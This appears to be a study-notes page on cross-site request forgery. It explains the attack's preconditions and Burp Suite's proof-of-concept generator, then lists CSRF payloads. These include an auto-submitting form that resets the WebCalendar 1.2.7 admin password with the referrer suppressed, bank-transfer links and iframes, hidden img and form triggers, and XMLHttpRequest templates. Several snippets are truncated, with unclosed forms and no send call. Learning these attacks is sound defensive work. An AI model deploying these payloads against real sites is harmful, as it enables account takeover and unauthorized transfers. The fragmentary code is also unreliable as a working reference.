What is it?

Cross-site request forgery (also known as CSRF) is a web security vulnerability that allows an attacker to induce users to perform actions that they do not intend to perform. It allows an attacker to partly circumvent the same origin policy, which is designed to prevent different websites from interfering with each other.

What is the impact of a CSRF attack?

In a successful CSRF attack, the attacker causes the victim user to carry out an action unintentionally. For example, this might be to change the email address on their account, to change their password, or to make a funds transfer. Depending on the nature of the action, the attacker might be able to gain full control over the user's account. If the compromised user has a privileged role within the application, then the attacker might be able to take full control of all the application's data and functionality.

How does CSRF work?

For a CSRF attack to be possible, three key conditions must be in place:

  • A relevant action. There is an action within the application that the attacker has a reason to induce. This might be a privileged action (such as modifying permissions for other users) or any action on user-specific data (such as changing the user's own password).

  • Cookie-based session handling. Performing the action involves issuing one or more HTTP requests, and the application relies solely on session cookies to identify the user who has made the requests. There is no other mechanism in place for tracking sessions or validating user requests.

  • No unpredictable request parameters. The requests that perform the action do not contain any parameters whose values the attacker cannot determine or guess. For example, when causing a user to change their password, the function is not vulnerable if an attacker needs to know the value of the existing password.

For example, suppose an application contains a function that lets the user change the email address on their account. When a user performs this action, they make an HTTP request like the following:

POST /email/change HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 30
Cookie: session=yvthwsztyeQkAPzeQ5gHgTvlyxHfsAfE


This meets the conditions required for CSRF:

  • The action of changing the email address on a user's account is of interest to an attacker. Following this action, the attacker will typically be able to trigger a password reset and take full control of the user's account.

  • The application uses a session cookie to identify which user issued the request. There are no other tokens or mechanisms in place to track user sessions.

  • The attacker can easily determine the values of the request parameters that are needed to perform the action.

With these conditions in place, the attacker can construct a web page containing the following HTML:

    <form action="https://vulnerable-website.com/email/change" method="POST">
      <input type="hidden" name="email" value="pwned@evil-user.net" />

If a victim user visits the attacker's web page, the following will happen:

  • The attacker's page will trigger an HTTP request to the vulnerable web site.

  • If the user is logged in to the vulnerable web site, their browser will automatically include their session cookie in the request (assuming SameSite cookies are not being used).

  • The vulnerable web site will process the request in the normal way, treat it as having been made by the victim user, and change their email address.

How to construct a CSRF attack

Manually creating the HTML needed for a CSRF exploit can be cumbersome, particularly where the desired request contains a large number of parameters, or there are other quirks in the request. The easiest way to construct a CSRF exploit is using the CSRF PoC generator that is built in to Burp Suite Professional:

  • Select a request anywhere in Burp Suite Professional that you want to test or exploit.

  • From the right-click context menu, select Engagement tools / Generate CSRF PoC.

  • Burp Suite will generate some HTML that will trigger the selected request (minus cookies, which will be added automatically by the victim's browser).

  • You can tweak various options in the CSRF PoC generator to fine-tune aspects of the attack. You might need to do this in some unusual situations to deal with quirky features of requests.

  • Copy the generated HTML into a web page, view it in a browser that is logged in to the vulnerable web site, and test whether the intended request is issued successfully and the desired action occurs.


Difference between XSS and CSRF, each involve victim submitting a crafted web request made by attacker. XSS uses script, while CSRF uses static content.

CSRF example, unauthorized bank transfer:

<a href="http://bank.com/transfer.php?acct=1234&amount=1000"> Look at this cat video! </a>

Difficulty regarding this vulnerability is that the attacker needs to know the following things:

  • Known vulnerable site/application with CSRF flaw

  • Knows victims email/contact information

  • User needs to be authenticated to vulnerable site.

  • Known needed parameters



Sample PoC WebCalendar 1.2.7 CSRF vulnerable POST created by @hyp3rlinx: http://hyp3rlinx.altervista.org/advisories/WEBCALENDAR-V1.2.7-CSRF-PROTECTION-BYPASS.txt

<meta name="referrer" content="none">

<form id="CSRF" action="http://localhost/WebCalendar-1.2.7/edit_user_handler.php" method="post">
<input type="hidden" name="formtype" value="setpassword" />
<input type="hidden" name="user" value="admin" />
<input name="upassword1" id="newpass1" type="password" value="123456" />
<input name="upassword2" id="newpass2" type="password" value="123456" />

Since original form uses weak Referer for anti-CSRF control, an attacker could have a user change their password via following sample PoC Form. Since Referer is not sent via POST request. Notice referrer is used as PoC usse HTML5 referer setting.

PoC with Submit button to action password change

<meta name="referrer" content="no-referrer">
<form id="CSRF" method="POST" action="https://localhost/WebCalendar-1.2.7/edit_user_handler.php">
<input type="hidden" name="formtype" value="setpassword">
<input type="hidden" name="user" value="admin">
<input type="hidden" name="upassword1" id="newpass1" type="password" value="123456">
<input type="hidden" name="upassword2" id="newpass2" type="password"  value="123456">
<button onclick="document.getElementById('CSRF').submit()">Submit</button>

PoC to auto submit form for user instead of having a submit

<meta name="referrer" content="no-referrer">
<body onload="setTimeout(function() { document.ThisCSRF.submit() },5)">
<form id="CSRF" action="http://localhost/WebCalendar-1.2.7/edit_user_handler.php" name="ThisCSRF" method="post">
<input type="hidden" name="formtype" value="setpassword" />
<input type="hidden" name="user" value="admin" />
<input type="hidden" name="upassword1" id="newpass1" type="password" value="123456"  />
<input type="hidden" name="upassword2" id="newpass2" type="password"  value="123456" />


Iframe CSRF payload

<iframe src="http://mybank.com/app/transferAmount?amount=1000&destinationAccount=1234 >

HTML GET - Requiring User Interaction

<a href="http://www.example.com/api/setusername?username=CSRFd">Click Me</a>

HTML GET - No User Interaction

<img src="http://www.example.com/api/setusername?username=CSRFd">

HTML POST - Requiring User Interaction

<form action="http://www.example.com/api/setusername" enctype="text/plain" method="POST">
 <input name="username" type="hidden" value="CSRFd" />
 <input type="submit" value="Submit Request" />

HTML POST - AutoSubmit - No User Interaction

<form id="autosubmit" action="http://www.example.com/api/setusername" enctype="text/plain" method="POST">
 <input name="username" type="hidden" value="CSRFd" />
 <input type="submit" value="Submit Request" />

JSON GET - Simple Request

var xhr = new XMLHttpRequest();
xhr.open("GET", "http://www.example.com/api/currentuser");

JSON POST - Simple Request

var xhr = new XMLHttpRequest();
xhr.open("POST", "http://www.example.com/api/setrole");
//application/json is not allowed in a simple request. text/plain is the default
xhr.setRequestHeader("Content-Type", "text/plain");
//You will probably want to also try one or both of these
//xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
//xhr.setRequestHeader("Content-Type", "multipart/form-data");

JSON POST - Complex Request

var xhr = new XMLHttpRequest();
xhr.open("POST", "http://www.example.com/api/setrole");
xhr.withCredentials = true;
xhr.setRequestHeader("Content-Type", "application/json;charset=UTF-8");


PortSwigger CSRF: https://portswigger.net/web-security/csrf

CSRF PayloadsAllThings: https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/CSRF%20Injection

Last updated